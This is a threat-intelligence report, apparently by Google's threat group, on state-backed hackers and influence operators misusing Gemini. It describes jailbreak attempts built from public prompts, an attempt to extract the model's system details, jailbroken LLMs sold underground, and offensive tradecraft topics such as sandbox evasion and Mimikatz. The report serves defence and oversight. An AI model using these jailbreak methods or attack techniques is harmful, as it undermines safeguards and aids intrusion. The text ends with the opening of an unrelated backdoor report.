Our analysis of government-backed threat actor use of Gemini focused on understanding how threat actors are using AI in their operations and if any of this activity represents novel or unique AI-enabled attack or abuse techniques. Our findings, which are consistent with those of our industry peers, reveal that while AI can be a useful tool for threat actors, it is not yet the game-changer it is sometimes portrayed to be. While we do see threat actors using generative AI to perform common tasks like troubleshooting, research, and content generation, we do not see indications of them developing novel capabilities. 

Our key findings include:

• We did not observe any original or persistent attempts by threat actors to use prompt attacks or other machine learning (ML)-focused threats as outlined in the Secure AI Framework (SAIF) risk taxonomy. Rather than engineering tailored prompts, threat actors used more basic measures or publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. 
• Threat actors are experimenting with Gemini to enable their operations, finding productivity gains but not yet developing novel capabilities. At present, they primarily use AI for research, troubleshooting code, and creating and localizing content. 
• APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes. Of note, we observed limited use of Gemini by Russian APT actors during the period of analysis.
• IO actors used Gemini for research; content generation including developing personas and messaging; translation and localization; and to find ways to increase their reach. Again, Iranian IO actors were the heaviest users of Gemini, accounting for three quarters of all use by IO actors. We also observed Chinese and Russian IO actors using Gemini primarily for general research and content creation. 
• Gemini's safety and security measures restricted content that would enhance adversary capabilities as observed in this dataset. Gemini provided assistance with common tasks like creating content, summarizing, explaining complex concepts, and even simple coding tasks. Assisting with more elaborate or explicitly malicious tasks generated safety responses from Gemini. 
• Threat actors attempted unsuccessfully to use Gemini to enable abuse of Google products, including researching techniques for Gmail phishing, stealing data, coding a Chrome infostealer, and bypassing Google's account verification methods. 

Rather than enabling disruptive change, generative AI allows threat actors to move faster and at higher volume. For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. For less skilled actors, they also provide a learning and productivity tool, enabling them to more quickly develop tools and incorporate existing techniques. However, current LLMs on their own are unlikely to enable breakthrough capabilities for threat actors. We note that the AI landscape is in constant flux, with new AI models and agentic systems emerging daily. As this evolution unfolds, GTIG anticipates the threat landscape to evolve in stride as threat actors adopt new AI technologies in their operations.

AI-Focused Threats

Attackers can use LLMs in two ways. One way is attempting to leverage LLMs to accelerate their campaigns (e.g., by generating code for malware or content for phishing emails). The overwhelming majority of activity we observed falls into this category. The second way attackers can use LLMs is to instruct a model or AI agent to take a malicious action (e.g., finding sensitive user data and exfiltrating it). These risks are outlined in Google's Secure AI Framework (SAIF) risk taxonomy. 

We did not observe any original or persistent attempts by threat actors to use prompt attacks or other AI-specific threats. Rather than engineering tailored prompts, threat actors used more basic measures, such as rephrasing a prompt or sending the same prompt multiple times. These attempts were unsuccessful.

Jailbreak Attempts: Basic and Based on Publicly Available Prompts

We observed a handful of cases of low-effort experimentation using publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. Threat actors copied and pasted publicly available prompts and appended small variations in the final instruction (e.g., basic instructions to create ransomware or malware). Gemini responded with safety fallback responses and declined to follow the threat actor's instructions. 

In one example of a failed jailbreak attempt, an APT actor copied publicly available prompts into Gemini and appended basic instructions to perform coding tasks. These tasks included encoding text from a file and writing it to an executable and writing Python code for a distributed denial-of-service (DDoS) tool. In the former case, Gemini provided Python code to convert Base64 to hex, but provided a safety filtered response when the user entered a follow-up prompt that requested the same code as a VBScript.

The same group used a different publicly available jailbreak prompt to request Python code for DDoS. Gemini provided a safety filtered response stating that it could not assist, and the threat actor abandoned the session and did not attempt further interaction.

What is an AI jailbreak? 

Jailbreaks are one type of Prompt Injection attack, causing an AI model to behave in ways that they've been trained to avoid (e.g., outputting unsafe content or leaking sensitive information). Prompt Injections generally cause the LLM to execute malicious "injected" instructions as part of data that were not meant to be executed by the LLM. 

Controls against prompt injection include input/output validation and sanitization as well as adversarial training and testing. Training, tuning, and evaluation processes also help fortify models against prompt injection.

Example of a jailbreak prompt publicly available on GitHub

Some malicious actors unsuccessfully attempted to prompt Gemini for guidance on abusing Google products, such as advanced phishing techniques for Gmail, assistance coding a Chrome infostealer, and methods to bypass Google's account creation verification methods. These attempts were unsuccessful. Gemini did not produce malware or other content that could plausibly be used in a successful malicious campaign. Instead, the responses consisted of safety-guided content and generally helpful, neutral advice about coding and cybersecurity. In our continuous work to protect Google and our users, we have not seen threat actors either expand their capabilities or better succeed in their efforts to bypass Google's defenses.

Findings: Government-Backed Threat Actors Misusing Gemini

At a Glance: Government-Backed Attackers

Government-backed attackers attempted to use Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities, such as defense evasion in a target environment. 

• Iran: Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes, including research on defense organizations, vulnerability research, and creating content for campaigns. APT42 focused on crafting phishing campaigns, conducting reconnaissance on defense experts and organizations, and generating content with cybersecurity themes. 
• China: Chinese APT actors used Gemini to conduct reconnaissance, for scripting and development, to troubleshoot code, and to research how to obtain deeper access to target networks. They focused on topics such as lateral movement, privilege escalation, data exfiltration, and detection evasion. 
• North Korea: North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as the South Korean military and cryptocurrency. Of note, North Korean actors also used Gemini to draft cover letters and research jobs—activities that would likely support North Korea's efforts to place clandestine IT workers at Western companies. 
• Russia: With Russian APT actors, we observed limited use of Gemini during the period of analysis. Their Gemini use focused on coding tasks, including converting publicly available malware into another coding language and adding encryption functions to existing code.

Google analyzed Gemini activity associated with known APT actors and identified APT groups from more than 20 countries that used Gemini. The highest volume of usage was from Iran and China. APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. The top use cases by APT actors focused on: 

• Assistance with coding tasks, including troubleshooting, tool and script development and converting or rewriting existing code 

• Vulnerability research focused on publicly reported vulnerabilities and specific CVEs 

• General research on various technologies, translations and technical explanations 

• Reconnaissance about likely targets, including details about specific organizations 

• Enabling post-compromise activity, such seeking advice on techniques to evade detection, escalate privileges or conduct internal reconnaissance in a target environment

We observed APT actors use Gemini attempting to support all phases of the attack lifecycle.

Attack Lifecycle

Topics of Gemini Usage

Reconnaissance

Attacker gathers information about the target

Iran

• Recon on experts, international defense organizations, government organizations

• Topics related to Iran-Israel proxy conflict

North Korea

• Research on companies across multiple sectors and geos

• Recon on US military and operations in South Korea 

• Research free hosting providers

China

• Research on US military, US-based IT service providers 

• Understand public database of US intelligence personnel  

• Research on target network ranges; determine domain names of targets 

Weaponization

Attacker develops or acquires tools to exploit target

• Develop webcam recording code in C++

• Convert Chrome infostealer function from Python to Node.js

• Rewrite publicly available malware into another language

• Add AES encryption functionality to provided code

Delivery

Attacker delivers weaponized exploit or payload to the target system

• Better understanding advanced phishing techniques

• Generating content for targeting a US defense organization

• Generating content with cybersecurity and AI themes

Exploitation

Attacker exploits vulnerability to gain access

• Reverse engineer endpoint detection and response (EDR) server components for health check and authentication

• Access Microsoft Exchange using password hash

• Research vulnerabilities in WinRM protocol

• Understand publicly reported vulnerabilities, including Internet of Things (IoT) bugs

Installation

Attacker installs tools or malware to maintain access

• Sign an Outlook Visual Studio Tools for Office (VSTO) plug-in and deploy it silently to all computers

• Add a self-signed certificate to Active Directory

• Research Mimikatz for Windows 11

• Research Chrome extensions that provide parental controls and monitoring

Command and control (C2)

Attacker establishes communication channel with the compromised system

• Generate code to remotely access Windows Event Log

• Active Directory management commands

• JSON Web Token (JWT) security and routing rules in Ruby on Rails

• Character encoding issues in smbclient

• Command to check IPs of admins on the domain controller

Actions on objectives

Attacker achieves their intended goal such as data theft or disruption

• Automate workflows with Selenium (e.g. logging into compromised account)

• Generate a PHP script to extract emails from Gmail into electronic mail (EML) files

• Upload large files to OneDrive

• Solution to TLS 1.3 visibility challenges

Iranian Government-Backed Actors 

Iranian government-backed actors accounted for the largest Gemini use linked to APT actors. Across Iranian government-backed actors, we observed a broad scope of research and use cases, including to enable reconnaissance on targets, for research into publicly reported vulnerabilities, to request translation and technical explanations, and to create content for possible use in future campaigns. Their use reflected strategic Iranian interests including research focused on defense organizations and experts, defense systems, foreign governments, individual dissidents, the Israel-Hamas conflict, and social issues in Iran.

At a Glance: Iranian APT Actors Using Gemini

• Over 10 Iran-backed groups observed using Gemini
• Google abuse-focused use cases: 
  • • Researching methods for extracting data from Android devices, including SMS messages, accounts, contacts, and social media accounts
• Example use cases: 
  • • Coding and scripting 
      • • PowerShell and Linux commands
        • Python code for website scraping
        • Debugging and improving a Ghidra script 
        • Developing PHP scripts to collect and store user IP addresses and browser information in a MySQL database
        • Assistance with C# programming
        • Modifying assembly code 
        • Help understanding error messages
    • Vulnerability research
      • • Research on specific CVEs and technologies, such as WinRM and IoT devices
        • Exploitation techniques and proof-of-concept code 
        • Research on server-side request forgery (SSRF) exploitation techniques
        • Research on the open-source router exploitation tool RomBuster 
    • Research about organizations 
      • • International defense organizations
        • Military and government organizations 
        • Cybersecurity companies
        • International organizations that monitor development of advanced weapons
    • Research about warfare defenses
      • • Information on the Iran-Israel proxy conflict
        • Unmanned aerial vehicles (UAV)
        • Anti-drone systems
        • Satellite technology
        • Remote sensing technology
        • Israel defense systems
    • Generating content
      • • Generating content with cybersecurity and AI themes 
        • Tailoring content to target a defense organization
        • Translating various texts into Farsi, Hebrew, and English

Crafting Phishing Campaigns 

Over 30% of Iranian APT actors' Gemini use was linked to APT42. APT42's Gemini activity reflected the group's focus on crafting successful phishing campaigns. We observed the group using Gemini to conduct reconnaissance into individual policy and defense experts, as well as organizations of interest for the group. 

In addition to reconnaissance, APT42 used the text generation and editing capabilities of Gemini to craft material for phishing campaigns, including generating content with cybersecurity themes and tailoring the output to a US defense organization. APT42 also utilized Gemini for translation including localization, or tailoring content for a local audience. This includes content tailored to local culture and local language, such as asking for translations to be in fluent English.

Vulnerability Research

The majority of APT42's efforts focused on research into publicly known vulnerabilities, such as a request to generate a list of critical vulnerabilities from 2023. They also focused on vulnerabilities in specific products such as Mikrotik, Apereo, and Atlassian.

Of note, APT42 appeared to be researching how to use generative AI tools for offensive purposes, asking Gemini for help preparing training content for a red team focused on how offensive teams can use AI tools in their operations.  

Research Into Military and Weapons Systems 

APT42 also appears to have used Gemini's translation and explanation functions to better understand publicly available information on defense systems. Their efforts included general research into the Israel-Hamas conflict, as well as strategic trends in China's defense industry. The threat actor also used Gemini for technical explanations about US-made aerospace systems.

Another Iranian APT group also focused on understanding warfare defenses including specific research into satellite signal jamming and anti-drone systems. Other Iranian APT actors researched specific defense systems, including researching information about specific unmanned aerial vehicle (UAV) models, jamming F-35 fighter jets, anti-drone systems, and Israel's missile defense systems. 

People’s Republic of China (PRC) Government-Backed Actors

Government-backed actors linked to the People's Republic of China (PRC) attempted to use Gemini to enable reconnaissance on targets, for scripting and development, to request translation and explanation of technical concepts, and attempting to enable deeper access to a network following initial compromise. PRC threat actors' usage resembled an IT admin seeking to streamline, troubleshoot, or automate their tasks. In a malicious context, however, this activity could be used to enable lateral movement, privilege escalation, data exfiltration, and detection evasion.

At a Glance: People's Republic of China APT Actors Using Gemini

• Over 20 China-backed groups observed using Gemini
• Notable use cases: 
  • • Reconnaissance
      • • Research US military and US-based IT organizations
        • Gather US government network ranges
        • Understand publicly available information about US intelligence community personnel 
        • Determine domain names of targets spanning eight countries, mostly government agencies
        • Access Microsoft Exchange using password hash
    • Vulnerability research
      • • Reverse engineer Carbon Black EDR's server components for health check and authentication
    • Scripting and development
      • • Generate code to remotely access Windows Event Log
        • Active Directory management commands
    • Translation and explanation
      • • Understand graph databases (Nebula Graph)
        • Solutions to TLS 1.3 visibility challenges
        • Understand a malicious PHP script
        • Web JWT security and routing rules in Ruby on Rails
    • Deeper system access and post-compromise actions 
      • • Sign an Outlook VSTO plug-in and deploy it silently to all computers
        • Add a self-signed certificate to Active Directory
        • Upload large files to OneDrive
        • Character encoding issues in smbclient
        • Command to check IPs of admins on the Domain Controller
        • Record passwords on the VMware vCenter
        • Impacket troubleshooting

Enabling Deeper Access in a Target Network 

PRC-backed APT actors also used Gemini to work through scripting and development tasks, many of which appeared intended to enable deeper access in a target network after threat actors obtained initial access. For example, one PRC-backed group asked Gemini for assistance figuring out how to sign a plugin for Microsoft Outlook and silently deploy it to all computers. The same actor also asked Gemini to generate code to remotely access Windows Event Log; sought instructions on how to add a self-signed certificate to Active Directory; and asked Gemini for a command to identify the IP addresses of administrators on the domain controller. Other actors used Gemini for help troubleshooting Chinese character encoding issues in smbclient and how to record passwords on the VMware vCenter. 

In another example, PRC-backed APT actors asked Gemini for assistance with Active Directory management commands and requested help troubleshooting impacket, a Python-based tool for working with network protocols. While impacket is commonly used for benign purposes, the context of the threat actor made it clear that the actor was using the tool for malicious purposes. 

Explaining Tools, Concepts, and Code 

PRC actors utilized Gemini to learn about specific tools and technologies and develop solutions to technical challenges. For example, a PRC APT actor used Gemini to break down how to use the graph database Nebula Graph. In another instance, the same actor used Gemini to offer possible solutions to TLS 1.3 visibility challenges. Another PRC-backed APT group sought to understand a malicious PHP script. 

Vulnerability Research and Reverse Engineering

In one case, a PRC-backed APT actor attempted unsuccessfully to get Gemini's help reverse engineering the endpoint detection and response (EDR) tool Carbon Black. The same threat actor copied disassembled Python bytecode into Gemini to convert the bytecode into Python code. It's not clear what their objective was. 

Unsuccessful Attempts to Elicit Internal System Information From Gemini

In one case, the PRC-backed APT actor APT41 attempted unsuccessfully to use Gemini to learn about Gemini's underlying infrastructure and systems. The actor asked Gemini to share details such as its IP address, kernel version, and network configuration. Gemini responded but did not disclose sensitive information. In a helpful tone, the responses provided publicly available details that would be widely known about the topic, while also indicating that the requested information is kept secret to prevent unauthorized access. 

North Korean Government-Backed Actors

North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as South Korean nuclear technology and cryptocurrency. We also observed that North Korean actors were using LLMs in likely attempts to enable North Korea's efforts to place clandestine IT workers at Western companies.

At a Glance: North Korean APT Actors Using Gemini

• Nine North Korea-backed groups observed using Gemini
• Google-focused use cases: 
  • • Research advanced techniques for phishing Gmail
    • Scripting to steal data from compromised Gmail accounts
    • Understanding a Chrome extension that provides parental controls (capable of taking screenshots, keylogging)
    • Convert Chrome infostealer function from Python to Node.js
    • Bypassing restrictions on Google Voice 
    • Generate code snippets for a Chrome extension 
• Notable use cases: 
  • • Enabling clandestine IT worker scheme 
      • • Best Discord servers for freelancers
        • Exchange with overseas employees 
        • Jobs on LinkedIn 
        • Average salary
        • Drafting work proposals
        • Generate cover letters from job postings
    • Research on topics 
      • • Free hosting providers 
        • Cryptocurrency
        • Operational technology (OT) and industrial networks 
        • Nuclear technology and power plants in South Korea
        • Historic cyber events (e.g., major worms and DDoS attacks; Russia-Ukraine conflict) and cyber forces of foreign militaries
    • Research about organizations 
      • • Companies across 11 sectors and 13 countries
        • South Korean military 
        • US military 
        • German defense organizations
    • Malware development 
    • Evasion techniques
    • Automating workflows for logging into compromised accounts 
    • Understanding Mimikatz for Windows 11 
    • Scripting and troubleshooting

Clandestine IT Worker Threat

North Korean APT actors used Gemini to draft cover letters and research jobs—activities that would likely support efforts by North Korean nationals to use fake identities and obtain freelance and full-time jobs at foreign companies while concealing their true identities and locations. One North Korea-backed group utilized Gemini to draft cover letters and proposals for job descriptions, researched average salaries for specific jobs, and asked about jobs on LinkedIn. The group also used Gemini for information about overseas employee exchanges. Many of the topics would be common for anyone researching and applying for jobs. 

While normally employment-related research would be typical for any job seeker, we assess the usage is likely related to North Korea's ongoing efforts to place clandestine workers in freelance gigs or full-time jobs at Western firms. The scheme, which involves thousands of North Korean workers and has affected hundreds of US-based companies, uses IT workers with false identities to complete freelance work and send wages back to the North Korean regime.

North Korea’s AI toolkit 

Outside of their use of Gemini, North Korean cyber threat actors have shown a long-standing interest in AI tools. They likely use AI applications to augment malicious operations and improve efficiency and capabilities, and for producing content to support their campaigns, such as phishing lures and profile photos for fake personas. We assess with high confidence that North Korean cyber threat actors will continue to demonstrate an interest in these emerging technologies for the foreseeable future. 

DPRK IT Workers

We have observed DPRK IT Workers leverage accounts on assistive writing tools, Monica (monica.im) and Ahrefs (ahrefs.com), which could potentially aid the group's work despite a lack of language fluency. Additionally, the group has maintained accounts on Data Annotation Tech, a company hiring individuals to train AI models. Notably, a profile photo used by a suspected IT worker bore a noticeable resemblance to multiple different images on the internet, suggesting that a manipulation tool was used to generate the threat actor's profile photo. 

APT43

Google Threat Intelligence Group (GTIG) has detected evidence of APT43 actors accessing multiple publicly available LLM tools; however, the intended purpose is not clear. Based on the capabilities of these platforms and historical APT43 activities, it is possible these applications could be used in the creation of rapport-building emails, lure content, and malicious PowerShell and scripting efforts. 

• GTIG has detected APT43 actors reference publicly available AI chatbot tools alongside the topic "북핵 해결" (translation: "North Korean nuclear issue solution"), indicating the group is using AI applications to conduct technical research as well as open-source analysis on South Korean foreign and military affairs and nuclear issues. 

• GTIG has identified APT43 actors accessing multiple publicly available AI image generation tools, including tools used for image manipulation and creating realistic-looking human portraits. 

Target Research and Reconnaissance

North Korean actors also engaged with Gemini with several questions that appeared focused on conducting initial research and reconnaissance into prospective targets. They also researched organizations and industries that are typical targets for North Korean actors, including the US and South Korean militaries and defense contractors. One North Korean APT group asked Gemini for information about companies and organizations across a variety of industry sectors and regions. Some of this Gemini usage related directly to organizations that the same group had attempted to target in phishing and malware campaigns that Google previously detected and disrupted.

In addition to research into companies, North Korean APT actors researched nuclear technology and power plants in South Korea, such as site locations, recent news articles, and the security status of the plants. Gemini responded with widely available, public information and facts that would be easily discoverable in an online search. 

Help with Scripting, Payload Development, Defense Evasion 

North Korean actors also tried to use Gemini to assist with development and scripting tasks. One North Korea-backed group attempted to use Gemini to help develop webcam recording code in C++. Gemini provided multiple versions of code, and repeated efforts by the actor potentially suggested their frustration by Gemini's answers. The same group also asked Gemini to generate a robots.txt file to block crawlers and an .htaccess file to redirect all URLs except CSS extensions. 

One North Korean APT actor used Gemini for assistance developing code for sandbox evasion. For example, the threat actor utilized Gemini to write code in C++ to detect VM environments and Hyper-V virtual machines. Gemini provided responses with short code snippets to perform simple sandbox checks. The same group also sought help troubleshooting Java errors when implementing AES encryption, and separately asked Gemini if it is possible to acquire a system password on Windows 11 using Mimikatz. 

Russian Government-Backed Actors 

During the period of analysis, we observed limited use of Gemini by Russia-backed APT actors. Of this limited use, the majority of usage appeared benign, rather than threat-enabling. The reasons for this low engagement are unclear. It is possible Russian actors avoided Gemini out of operational security considerations, staying off Western-controlled platforms to avoid monitoring of their activities. They may be using AI tools produced by Russian firms or locally hosting LLMs, which would ensure full control of their infrastructure. Alternatively, they may have favored other Western LLMs.

One Russian government-backed group used Gemini to request help with a handful of tasks, including help rewriting publicly available malware into another language, adding encryption functionality to code, and explanations for how a specific block of publicly available malicious code functions.

At a Glance: Russian APT Actors Using Gemini

• Three Russia-backed groups observed using Gemini
• Notable use cases: 
  • • Scripting
      • • Help rewriting public malware into another language
    • Payload crafting
      • • Add AES encryption functionality to provided code
    • Translation and explanation 
      • • Understand how some public malicious code works

Financially Motivated Actors Using LLMs

Threat actors in underground marketplaces are advertising ways to bypass security guardrails to help LLMs with malware development, phishing, and other malicious tasks. The offerings include jailbroken LLMs that are ready-made for malicious use. 

Throughout 2023 and 2024, Google Threat Intelligence Group (GTIG) observed underground forum posts related to LLMs, indicating there is a burgeoning market for nefarious versions of LLMs. Some advertisements boast customized and jailbroken LLMs that don't have restrictions for malware development purposes, or they tout a lack of security measures typically found on legitimate services, allowing the user to prompt the LLM about any topic or task without incurring security guardrails or limits on their queries. Examples include FraudGPT, which has been advertised on Telegram as having no limitations, and WormGPT, a privacy focused, "uncensored" LLM capable of developing malware.   

Financially motivated actors are using LLMs to help augment business email compromise (BEC) operations. GTIG has noted evidence of financially motivated actors using manipulated video and voice content in business email compromise (BEC) scams. Media reports indicate that financially motivated actors have reportedly used WormGPT to create more persuasive BEC messages.

Findings: Information Operations (IO) Actors Misusing Gemini

At a Glance: Information Operations Actors 

IO actors attempted to use Gemini for research, content generation, translation and localization, and to find ways to increase their reach.

• Iran: Iranian IO actors used Gemini for a wide range of tasks, accounting for three quarters of all IO prompts. They used Gemini for content creation and manipulation, including generating articles, rewriting text with a specific tone, and optimizing it for better reach. Their activity also focused on translation and localization, adapting content for different audiences, and for general research into news, current events, and political issues. 
• China: Pro-China IO actors used Gemini primarily for general research on various topics, including a variety of topics of strategic interest to the Chinese government. The most prolific IO actor we track, DRAGONBRIDGE, was responsible for the majority of this activity. They also used Gemini to research current events and politics, and in a few cases, they used Gemini to generate articles or content on specific topics.
• Russia: Russian IO actors used Gemini primarily for general research, content creation, and translation. For example, their use involved assistance drafting content, rewriting article titles, and planning social media campaigns. Some activity demonstrated an interest in developing AI capabilities, asking for information on tools for creating online AI chatbots, developer tools for interacting with LLMs, and options for textual content analysis.

IO actors used Gemini for research, content generation including developing personas and messaging, translation and localization, and to find ways to increase their reach. Common use cases include general research into news and current events as well as specific research into individuals and organizations. In addition to creating content for campaigns, including personas and content, the actors researched increasing the efficacy of campaigns, including automating distribution, using search engine optimization (SEO) to optimize the reach of campaigns, and increasing operational security. As with government-backed groups, IO actors also used Gemini for translation and localization and for understanding the meanings or context of content. 

Iran-Linked Information Operations Actors

Iran-based information operations (IO) groups used Gemini for a wide range of tasks, including general research, translation and localization, content creation and manipulation, and generating content with a specific bias or tone. We also observed Iran-based IO actors engage with Gemini about news events and ask Gemini to provide details on economic and political issues in Iran, the US, the Middle East, and Europe.

In line with their practice of mixing original and borrowed content, Iranian IO actors translated existing material, including news-like articles. They then used Gemini to explain the context and meaning of particular phrases within the given text.

Iran-based IO actors also used Gemini to localize the content, seeking human-like translation and asking Gemini for help with tasks like making the text sound like a native English speaker. They used Gemini to manipulate text (e.g., asking for help rewriting existing text on immigration and crime in a specific style or tone). 

Iran's activity also included research about improving the reach of their campaigns. For example, they attempted to generate SEO-optimized content, likely in an effort to reach a larger audience. Some actors also used Gemini to suggest strategies for increasing engagement on social media.

At a Glance: Iran-Linked IO Actors Using Gemini

• Eight Iran-linked IO groups observed using Gemini 
• Example use cases: 
  • • Content creation - text 
      • • Generate article titles
        • Generate SEO-optimized content and titles
        • Draft a report critical of Bahrain 
        • Draft titles and hashtags in English and Farsi for videos that are catchy or create urgency to watch the content
        • Draft titles and descriptions promoting Islam
    • Translation - content in / out of native language
      • • Translate into Farsi-provided texts about a variety of topics, including the Iranian election, human rights, international law, Islam, and other topics
        • Translate Farsi-language idioms and proverbs to other languages
        • Translate news about the US economy, US government, and politics into Farsi, using a specified tone
        • Draft a French-language headline to get viewers to engage with specific content
    • Content manipulation - copy editing to refine content
      • • Reformulate specific text about Sharia law
        • Paraphrase content describing specific improvements to Iran's export economy
        • Rewrite a provided text about diplomacy and economic challenges with countries like China and Germany
        • Provide synonyms for specific words or phrases
        • Rewrite provided text about Islam and Iraq in different styles or tones
        • Proofread provided content 
    • Content creation - biased text
      • • Generate or reformulate text to criticize a government minister and other individuals for failures or other actions
        • Describe how a popular American TV show perpetuates harmful stereotypes
        • Generate Islam-themed titles for thumbnail previews on social media
    • General research - news and events
      • • Provide an overview of current events in specific regions
        • Research about the Iran-Iraq war
        • Define specific terms
        • Suggest social media channels for information about Islam and the Quran
        • Provide information on countries' policies toward the Middle East
    • Create persona - photo generation
      • • Create a logo

PRC-Linked Information Operations Actors

IO actors linked to the People's Republic of China (PRC) used Gemini primarily for general research on a wide variety of topics. The most prolific IO actor we track, the pro-China group DRAGONBRIDGE, was responsible for approximately three quarters of this activity. Of their activity, the majority use was general research about a wide variety of topics, ranging from details about the features of various social media platforms to questions about various topics of strategic interest to the PRC government. Actors researched information on current events and politics in other regions, with a focus on the US and Taiwan. They also showed interest in assessing the impact and risk of certain events. In a handful of cases, DRAGONBRIDGE used Gemini to generate articles or content on specific topics.

At a Glance: PRC-Linked IO Actors Using Gemini

• Three PRC-linked IO groups observed using Gemini 
• Example use cases: 
  • • General research - political and social topics
      • • Research about specific countries, organizations, and individuals 
        • Research relations between specific countries and China
        • Research on topics sensitive to the the Chinese government (e.g., five poisons) 
        • Research on Taiwanese politicians and their actions toward China
        • Research on US politics and political figures and their attitudes on China
        • Research foreign press coverage about China
        • Summarize key takeaways from a video
    • General research - technology 
      • • Compare functionality and features of different social media platforms 
        • Explain technical concepts and suggestions for useful tools
    • Translation - content in / out of native language 
      • • Translate and summarize text between Chinese and other languages 
    • Content creation - text
      • • Draft articles on topics such as the use of AI and social movements in specific regions
        • Generate a summary of a movie trailer about a Chinese dissident
    • Create persona - text generation
      • • Generate a company profile for a media company

DRAGONBRIDGE has experimented with other generative AI tools to create synthetic content in support of their IO campaigns. As early as 2022, the group used a commercial AI service in videos on YouTube to depict AI-generated news presenters. Their use of AI-generated video continued through 2024 but has not resulted in significantly higher engagement from real viewers. Google detected and terminated the channels distributing this content immediately upon discovery. DRAGONBRIDGE's use of AI-generated videos or images has not resulted in significantly higher engagement from real viewers.

Russia-Linked Information Operations Actors

Russian IO actors used Gemini for general research, content creation, and translation. Half of this activity was associated with the Russian IO actor we track as KRYMSKYBRIDGE, which is linked to a Russian consulting firm that works with the Russian government. Approximately 40% of activity was linked to actors associated with Russian state sponsored entities formerly controlled by the late Russian oligarch Yevgeny Prigozhin. We also observed usage by actors tracked publicly as Doppelganger. 

The majority of Russian IO actor usage was related to general research tasks, ranging from the Russia-Ukraine war to details about various tools and online services. Russian IO actors also used Gemini for content creation, rewriting article titles and planning social media campaigns. Translation to and from Russian was also a common task. 

Russian IO actors focused on the generative AI landscape, which may indicate an interest in developing native capabilities in AI on infrastructure they control. They researched tools that can be used to create an online AI chatbot and developer tools for interacting with LLMs. One Russian IO actor used Gemini to suggest options for textual content analysis. 

Pro-Russia IO actors have used AI in their influence campaigns in the past. In 2024, the actor known as CopyCop likely used LLMs to generate content, and some stories on their sites included metadata indicating an LLM was prompted to rewrite articles from genuine news sources with a particular political perspective or tone. CopyCop's inauthentic news sites pose as US- and Europe-based news outlets and post Kremlin-aligned views on Western policy, the war in Ukraine, and domestic politics in the US and Europe.

At a Glance: Russia-Linked IO Actors Using Gemini

• Four Russia-linked IO groups observed using Gemini
• Example use cases: 
  • • General research
      • • Research into the Russia-Ukraine war 
        • Explain subscription plans and API details for online services
        • Research on different generative AI platforms, software, and systems for interacting with LLMs 
        • Research on tools and methods for creating an online chatbot 
        • Research tools for content analysis  
    • Translation - content in / out of native language
      • • Translate technical and business terminology into Russian 
        • Translate text to/from Russian
    • Content creation - text 
      • • Draft a proposal for a social media agency 
        • Rewrite article titles to garner more attention 
    • Plan and strategize campaigns 
      • • Develop content strategy for different social media platforms and regions  
        • Brainstorm ideas for a PR campaign and accompanying visual designs

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. To us, that means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities, and creates new evaluation and training techniques to address misuse caused by them. In conjunction with this research, DeepMind has shared how they're actively deploying defenses within AI systems along with measurement and monitoring tools, one of which is a robust evaluation framework used to automatically red team an AI system's vulnerability to indirect prompt injection attacks. Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, and red teaming to test and secure AI systems. 

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Written by: Nino Isakovic

Introduction

Since 2022, Google Threat Intelligence Group (GTIG) has been tracking multiple cyber espionage operations conducted by China-nexus actors utilizing POISONPLUG.SHADOW. These operations employ a custom obfuscating compiler that we refer to as "ScatterBrain," facilitating attacks against various entities across Europe and the Asia Pacific (APAC) region. ScatterBrain appears to be a substantial evolution of ScatterBee, an obfuscating compiler previously analyzed by PWC.

GTIG assesses that POISONPLUG is an advanced modular backdoor used by multiple distinct, but likely related threat groups based in the PRC, however we assess that POISONPLUG.SHADOW usage appears to be further restricted to clusters associated with APT41.

GTIG currently tracks three known POISONPLUG variants:

• POISONPLUG
• POISONPLUG.DEED
• POISONPLUG.SHADOW

